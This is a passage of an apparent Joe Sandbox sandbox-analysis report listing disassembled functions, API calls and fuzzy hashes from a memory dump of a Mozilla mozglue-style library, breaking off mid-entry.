Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentNow@ReleaseStamp@mozilla@@ThreadTimeV12@_free
String ID:
API String ID: 3699359333-0
Opcode ID: 778c3b8af9f7cd3e971cbe94dd5fa39469b94cc4350afd11cddc35220ab68c9d
Instruction ID: 707856f4040383220472636a3a53f4967b35ebcb309707da6ef8ceceae6eacd6
Opcode Fuzzy Hash: 778c3b8af9f7cd3e971cbe94dd5fa39469b94cc4350afd11cddc35220ab68c9d
Instruction Fuzzy Hash: 0A210873A002258BDB24AF66D8957AFBBB4EF42704F0004BED90257361D77DDA09C790

Function 6BF87B10 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6BF87B51
__aulldiv.LIBCMT ref: 6BF87B6C
__aulldiv.LIBCMT ref: 6BF87B8B
__aulldiv.LIBCMT ref: 6BF87BB1

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: d00a51c4c5f930f9caa17efa13413b4b30e460f116377f5c22957434e894d04c
Instruction ID: 08c5c330302a02a7cf79615d8a3fae076cda6b9f6f2085e52e6cc24644e59d0c
Opcode Fuzzy Hash: d00a51c4c5f930f9caa17efa13413b4b30e460f116377f5c22957434e894d04c
Instruction Fuzzy Hash: 472130B2B0060A6FD714CF7DCC86E67B7F8EB85714B10853DE45ADB350E674A8018BA0

Function 6BF87A10 Relevance: 6.1, APIs: 4, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 6BF3BF00: ??0ios_base@std@@IAE@XZ.MSVCP140(?,?,?,?,6BF87A3F), ref: 6BF3BF11
Part of subcall function 6BF3BF00: ?init@?$basic_ios@DU?$char_traits@D@std@@@std@@IAEXPAV?$basic_streambuf@DU?$char_traits@D@std@@@2@_N@Z.MSVCP140(?,00000000,?,6BF87A3F), ref: 6BF3BF5D
Part of subcall function 6BF3BF00: ??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAE@XZ.MSVCP140(?,6BF87A3F), ref: 6BF3BF7E

?setprecision@std@@YA?AU?$_Smanip@_J@1@_J@Z.MSVCP140(?,00000013,00000000), ref: 6BF87A48
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEAAV01@_K@Z.MSVCP140(?,?), ref: 6BF87A7A

Part of subcall function 6BF39830: free.MOZGLUE(?,?,?,6BF87ABE), ref: 6BF3985B

??1?$basic_streambuf@DU?$char_traits@D@std@@@std@@UAE@XZ.MSVCP140 ref: 6BF87AC0
??1ios_base@std@@UAE@XZ.MSVCP140 ref: 6BF87AC8

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$??0?$basic_streambuf@??0ios_base@std@@??1?$basic_streambuf@??1ios_base@std@@??6?$basic_ostream@?init@?$basic_ios@?setprecision@std@@D@std@@@2@_J@1@_Smanip@_U?$_V01@_V?$basic_streambuf@free
String ID:
API String ID: 3421697164-0
Opcode ID: 726085fd498058276145e1b62aec5f86f9022f9b6ae0c84e05f247156dde1e27
Instruction ID: c4144d1f5dd1eb660e6d54a9b4903d68937aa76cd33aacb4517fbfb3f6c0bd2e
Opcode Fuzzy Hash: 726085fd498058276145e1b62aec5f86f9022f9b6ae0c84e05f247156dde1e27
Instruction Fuzzy Hash: 85215E366043149FCB14DF28D895A5EFBA5FF89314F04881CE84697361CB34E909CB92

Function 6BF87930 Relevance: 6.1, APIs: 4, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 6BF3BF00: ??0ios_base@std@@IAE@XZ.MSVCP140(?,?,?,?,6BF87A3F), ref: 6BF3BF11
Part of subcall function 6BF3BF00: ?init@?$basic_ios@DU?$char_traits@D@std@@@std@@IAEXPAV?$basic_streambuf@DU?$char_traits@D@std@@@2@_N@Z.MSVCP140(?,00000000,?,6BF87A3F), ref: 6BF3BF5D
Part of subcall function 6BF3BF00: ??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAE@XZ.MSVCP140(?,6BF87A3F), ref: 6BF3BF7E

?setprecision@std@@YA?AU?$_Smanip@_J@1@_J@Z.MSVCP140(?,00000012,00000000), ref: 6BF87968
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEAAV01@_J@Z.MSVCP140(6BF8A264,6BF8A264), ref: 6BF8799A

Part of subcall function 6BF39830: free.MOZGLUE(?,?,?,6BF87ABE), ref: 6BF3985B

??1?$basic_streambuf@DU?$char_traits@D@std@@@std@@UAE@XZ.MSVCP140 ref: 6BF879E0
??1ios_base@std@@UAE@XZ.MSVCP140 ref: 6BF879E8

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$??0?$basic_streambuf@??0ios_base@std@@??1?$basic_streambuf@??1ios_base@std@@??6?$basic_ostream@?init@?$basic_ios@?setprecision@std@@D@std@@@2@_J@1@_Smanip@_U?$_V01@_V?$basic_streambuf@free
String ID:
API String ID: 3421697164-0
Opcode ID: e6937c79813f2cbf60a258f3513fe6dabdd859bd1998355ef03175df2968add0
Instruction ID: ef4df82e115efced497cab8ca359f7f6a5b7c9d5c5e20bb72c57136789fd9e8b
Opcode Fuzzy Hash: e6937c79813f2cbf60a258f3513fe6dabdd859bd1998355ef03175df2968add0
Instruction Fuzzy Hash: E22160366043149FCB14DF28D895A5EFBE5FF89314F04881DE84697362CB34E909CB92

Function 6BF8AAE0 Relevance: 6.1, APIs: 4, Instructions: 59threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6BF8AAF8
EnterCriticalSection.KERNEL32(6BFAF770,?,6BF4BF9F), ref: 6BF8AB08
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,6BF4BF9F), ref: 6BF8AB39
LeaveCriticalSection.KERNEL32(6BFAF770,?,?,?,?,?,?,?,?,6BF4BF9F), ref: 6BF8AB6B

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: CriticalSection$CurrentEnterLeaveThread_stricmp
String ID:
API String ID: 1951318356-0
Opcode ID: 0473a33f6576ac578ea3766a0f5570231562b20cb8af4d6b0eec3753a17deb23
Instruction ID: 059a68aeebebfd1e7271fa8a44353d199979e43c5a8cd0b4f70a553decefb622
Opcode Fuzzy Hash: 0473a33f6576ac578ea3766a0f5570231562b20cb8af4d6b0eec3753a17deb23
Instruction Fuzzy Hash: 2B1133B291020ACFCF04DF69D88599F7BB5EF453147014429E505D7321E735E519CBA1

Function 6BF3B4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6BF3B4F5
AcquireSRWLockExclusive.KERNEL32(6BFAF4B8), ref: 6BF3B502
ReleaseSRWLockExclusive.KERNEL32(6BFAF4B8), ref: 6BF3B542
free.MOZGLUE(?), ref: 6BF3B578

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 8c320fc573e3bccda3dd5a4cf656026068d2f47e4e538c352d222bc4ea796fec
Instruction ID: f7534fc12e50a99d484f349c2c2a200d2c839968776a2c41d39ab3fb7c256359
Opcode Fuzzy Hash: 8c320fc573e3bccda3dd5a4cf656026068d2f47e4e538c352d222bc4ea796fec
Instruction Fuzzy Hash: 2311DF32920F45C7D3518F28C440765B7B4FF96314F14AB0AE94997622EBB9E1C88790

Function 6BF63DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6BF2F20E,?), ref: 6BF63DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6BF2F20E,00000000,?), ref: 6BF63DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6BF63E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6BF63E0E

Part of subcall function 6BF5CC00: GetCurrentProcess.KERNEL32(?,?,6BF231A7), ref: 6BF5CC0D
Part of subcall function 6BF5CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6BF231A7), ref: 6BF5CC16

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: e176763ada591e3008089128b79ed63e33281f4675665e8e5ee7a3a0a929af16
Instruction ID: f5ffaad1664a5cb606a226033bc6a03be513fe4f7be23231cac8365fdf815aac
Opcode Fuzzy Hash: e176763ada591e3008089128b79ed63e33281f4675665e8e5ee7a3a0a929af16
Instruction Fuzzy Hash: 7CF08272510209BBD7049B54EC46EAF372CDB46628F054020FD0857311E739FD2986F7

Function 6BF72050 Relevance: 6.0, APIs: 4, Instructions: 33threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6BF7205B
AcquireSRWLockExclusive.KERNEL32(?,?,?,00000000,?,6BF7201B,?,?,?,?,?,?,?,6BF71F8F,?,?), ref: 6BF72064
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6BF7208E
free.MOZGLUE(?,?,?,00000000,?,6BF7201B,?,?,?,?,?,?,?,6BF71F8F,?,?), ref: 6BF720A3

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 96192ee65c9e9abf6a9c6f0f833c2142b0b8f90bbb314245d82103ac5e244bcb
Instruction ID: 9862f2239f066c41cd8e753148f75eaa26928f0e35505154f5e1d989fead79ec
Opcode Fuzzy Hash: 96192ee65c9e9abf6a9c6f0f833c2142b0b8f90bbb314245d82103ac5e244bcb
Instruction Fuzzy Hash: 53F0E976000704DBC7219F16D88471BBBF8FF87324F10042AE54687321C7B6E805CBA5

Function 6BF6EB00 Relevance: 6.0, APIs: 4, Instructions: 30threadsynchronizationCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6BF6EB11
AcquireSRWLockExclusive.KERNEL32(6BFAF4B8), ref: 6BF6EB1E
memset.VCRUNTIME140(?,00000000,000000E0), ref: 6BF6EB3C
ReleaseSRWLockExclusive.KERNEL32(6BFAF4B8), ref: 6BF6EB5B
GetCurrentThreadId.KERNEL32 ref: 6BF6EBA4
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000), ref: 6BF6EBAC
GetCurrentThreadId.KERNEL32 ref: 6BF6EBC1
AcquireSRWLockExclusive.KERNEL32(6BFAF4B8,?,?,00000000), ref: 6BF6EBCE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000,?,?,00000000), ref: 6BF6EBE5
ReleaseSRWLockExclusive.KERNEL32(6BFAF4B8,00000000), ref: 6BF6EC37
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6BF6EC46
CloseHandle.KERNEL32(?), ref: 6BF6EC55
free.MOZGLUE(00000000), ref: 6BF6EC5C

Strings

[I %d/%d] profiler_start, xrefs: 6BF6EBB4
[I %d/%d] baseprofiler_save_profile_to_file(%s), xrefs: 6BF6EA9B

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: ExclusiveLock$CurrentThread$AcquireRelease$?profiler_init@baseprofiler@mozilla@@CloseHandleObjectSingleWait_getpidfreememset
String ID: [I %d/%d] baseprofiler_save_profile_to_file(%s)$[I %d/%d] profiler_start
API String ID: 2885072826-1186885292
Opcode ID: 6fe2b3419784a3e202d1caac8098e3dd5049df01359e7696f095f8c06c0f98ff
Instruction ID: 02b61b985abe29f68164cfb3fc3b7b5ab524029676b69f89021b8691373fb376
Opcode Fuzzy Hash: 6fe2b3419784a3e202d1caac8098e3dd5049df01359e7696f095f8c06c0f98ff
Instruction Fuzzy Hash: B8F0A033220214EBDB485F69DC89B9D7BA8AB82395F000029ED05DB272D7B9944DC775

Function 6BF720B0 Relevance: 6.0, APIs: 4, Instructions: 28threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6BF720B7
AcquireSRWLockExclusive.KERNEL32(00000000,?,6BF5FBD1), ref: 6BF720C0
ReleaseSRWLockExclusive.KERNEL32(00000000,?,6BF5FBD1), ref: 6BF720DA
free.MOZGLUE(00000000,?,6BF5FBD1), ref: 6BF720F1

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 87641c529d14c7deb022bc9041beea759a73d0c670e6ccc22b1524121582b18a
Instruction ID: ff5fa1bd0e0da4ff9e6b7171ff69b464119c12b7df579d865c1ad7e898a51cbd
Opcode Fuzzy Hash: 87641c529d14c7deb022bc9041beea759a73d0c670e6ccc22b1524121582b18a
Instruction Fuzzy Hash: 56E0E5325006199BC230AF39A80464EBBE9FF87214B00062BE50683221D77AE54686E5

Function 6BF785B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6BF785D3

Part of subcall function 6BF3CA10: malloc.MOZGLUE(?), ref: 6BF3CA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6BF78725

Strings

map/set<T> too long, xrefs: 6BF78720

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: a69b5b81406228257e89c5d9b9481ef534382546524529f04f2bfa786ed5c402
Instruction ID: 5872730f115ed5e0af39f0eb9470330b132edc59ea6d1049deeb0107e7dcbc3b
Opcode Fuzzy Hash: a69b5b81406228257e89c5d9b9481ef534382546524529f04f2bfa786ed5c402
Instruction Fuzzy Hash: D7517676A006429FD711DF29D484A55BBF1BF4A328F18C1EAD8595B362C339EC81CF92

Function 6BF2BD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6BF2BDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6BF2BE8F

Strings

0, xrefs: 6BF2BE5B

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: ffb2181db04d5f996d92756a51aea6f0ab657c8a6d09e9d30457983fba12a27b
Instruction ID: cd8124386b9bc0cb07826eabb8605782aac0b66a773e2eb50e8bca65c8903875
Opcode Fuzzy Hash: ffb2181db04d5f996d92756a51aea6f0ab657c8a6d09e9d30457983fba12a27b
Instruction Fuzzy Hash: 8A414D72908746CFC751CFB8C481A9BB7E4AF8A344F008E1DED85A7262D73599558B82

Function 6BF29A20 Relevance: 5.3, APIs: 4, Instructions: 338COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6BF29B2C
memcpy.VCRUNTIME140(6BF299CF,00000000,?), ref: 6BF29BB6
memcpy.VCRUNTIME140(?,?,?), ref: 6BF29BF8
memcpy.VCRUNTIME140(?,?,?), ref: 6BF29DE4

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 75867906882c6db89ea3b7284dd19fbb420c2e98f0d97d7e8d5485cefc09c69e
Instruction ID: 46f47b475b7ef4dc4936f1f33bb1c97b031e4b76628800a63ffea3312a396d72
Opcode Fuzzy Hash: 75867906882c6db89ea3b7284dd19fbb420c2e98f0d97d7e8d5485cefc09c69e
Instruction Fuzzy Hash: A4D16E76A0020A9FCB14CFA8C881AAEB7F2FF88314F14852DE955A7361D735ED51CB90

Function 6BF70A70 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 79COMMON

Download Yara Rule

APIs

Part of subcall function 6BF337F0: ?ensureCapacitySlow@ProfilingStack@baseprofiler@mozilla@@AAEXXZ.MOZGLUE(?,?,?,?,6BF8145F,baseprofiler::AddMarkerToBuffer,00000000,?,00000039,00000000), ref: 6BF3380A

Part of subcall function 6BF68DC0: moz_xmalloc.MOZGLUE(00000038,?,?,00000000,?,6BF806E6,?,?,00000008,?,?,?,?,?,?,?), ref: 6BF68DCC

Part of subcall function 6BF70B60: moz_xmalloc.MOZGLUE(00000080,?,?,?,?,6BF7138F,?,?,?), ref: 6BF70B80

?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,00000001,?,?,6BF7138F,?,?,?), ref: 6BF70B27
free.MOZGLUE(?,?,?,?,?,6BF7138F,?,?,?), ref: 6BF70B3F

Strings

baseprofiler::profiler_capture_backtrace, xrefs: 6BF70AB5

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: moz_xmalloc$?ensure?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CapacityCaptureChunkedOptions@2@@ProfileProfilingSlow@StackStack@baseprofiler@mozilla@@free
String ID: baseprofiler::profiler_capture_backtrace
API String ID: 3592261714-147032715
Opcode ID: 74801eacbf28e32ab86565e46bf3f488f087994a34a4f47797ad0b30dd468619
Instruction ID: ffbd3e9e90d7ba7216118a5816277d2073b907259457b0c8cfa2ee5cf97a365b
Opcode Fuzzy Hash: 74801eacbf28e32ab86565e46bf3f488f087994a34a4f47797ad0b30dd468619
Instruction Fuzzy Hash: 3621BA77A001069BDB14EF78D851BBEB379EF85704F1044BDD8059B361D7B9A904C7A1

Function 6BF2F180 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(?,?), ref: 6BF2F19B

Part of subcall function 6BF4D850: EnterCriticalSection.KERNEL32(?), ref: 6BF4D904
Part of subcall function 6BF4D850: LeaveCriticalSection.KERNEL32(?), ref: 6BF4D971
Part of subcall function 6BF4D850: memset.VCRUNTIME140(?,00000000,?), ref: 6BF4D97B

mozalloc_abort.MOZGLUE(?), ref: 6BF2F209

Strings

d, xrefs: 6BF2F1F5

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: CriticalSection$EnterLeavecallocmemsetmozalloc_abort
String ID: d
API String ID: 3775194440-2564639436
Opcode ID: 4ce184f6cbdc322e757e08adf9cfba90934bc4e8fd27c52b0e308433a13a68a0
Instruction ID: 963f6eebabab2f786857976bdbe16fc99a18fe9bb92fb6c35356759563ae935a
Opcode Fuzzy Hash: 4ce184f6cbdc322e757e08adf9cfba90934bc4e8fd27c52b0e308433a13a68a0
Instruction Fuzzy Hash: 35115C37E2064987EB048FACC9612BEB769DF56208B51511DDC05AB772EB34EA84C350

Function 6BF3CA10 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

malloc.MOZGLUE(?), ref: 6BF3CA26

Part of subcall function 6BF3CAB0: EnterCriticalSection.KERNEL32(?), ref: 6BF3CB49
Part of subcall function 6BF3CAB0: LeaveCriticalSection.KERNEL32(?), ref: 6BF3CBB6

mozalloc_abort.MOZGLUE(?), ref: 6BF3CAA2

Strings

d, xrefs: 6BF3CA6C

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: CriticalSection$EnterLeavemallocmozalloc_abort
String ID: d
API String ID: 3517139297-2564639436
Opcode ID: c0d81c7c853457325531fea9930ce5b9f8c533d7bb1b41ba239040c87a69e607
Instruction ID: 507bba3137fed2776a5845d58899f9cd8f39105c185ee3254f496dcff7f81492
Opcode Fuzzy Hash: c0d81c7c853457325531fea9930ce5b9f8c533d7bb1b41ba239040c87a69e607
Instruction Fuzzy Hash: 4611CE32D107A893DF01DB68C8215BDF775EF96204F559219DC49A7222EB34A5C9C380

Function 6BF41A50 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

